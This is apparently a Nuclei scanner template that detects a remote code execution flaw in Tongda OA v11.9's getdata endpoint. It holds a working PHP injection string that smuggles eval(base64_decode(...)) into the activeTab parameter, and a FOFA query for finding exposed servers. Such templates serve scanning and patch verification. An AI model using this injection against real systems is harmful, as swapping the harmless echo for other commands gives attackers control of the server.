tongda-getdata-rce: Tongda OA v11.9 getadata - Remote Code Execution

id: tongda-getdata-rce

info:
  name: Tongda OA v11.9 getadata - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    There is an arbitrary command execution vulnerability in the getdata interface of Tongda OA v11.9. An attacker can execute arbitrary commands on the server to control server permissions through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.9%20getdata%20%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="TDXK-通达OA"
    product: office_anywhere
    vendor: tongda2000
  tags: tongda,rce

variables:
  num: '999999999'
  payload: "echo md5({{num}});"

http:
  - method: GET
    path:
      - "{{BaseURL}}/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22{{base64(payload)}}%22)))%3B/*&id=19&module=Carouselimage"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{md5(num)}}'
          - 'pagelimit'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d5a6fd518087f2141f9104dba116eab6d2d1c76cb8f77f9ac264dd80c62def54022049eec324f1fbea8e29c95bdc05894ea112e09905389721da68af40bc004d1874:922c64590222798bb761d5b6d8e72950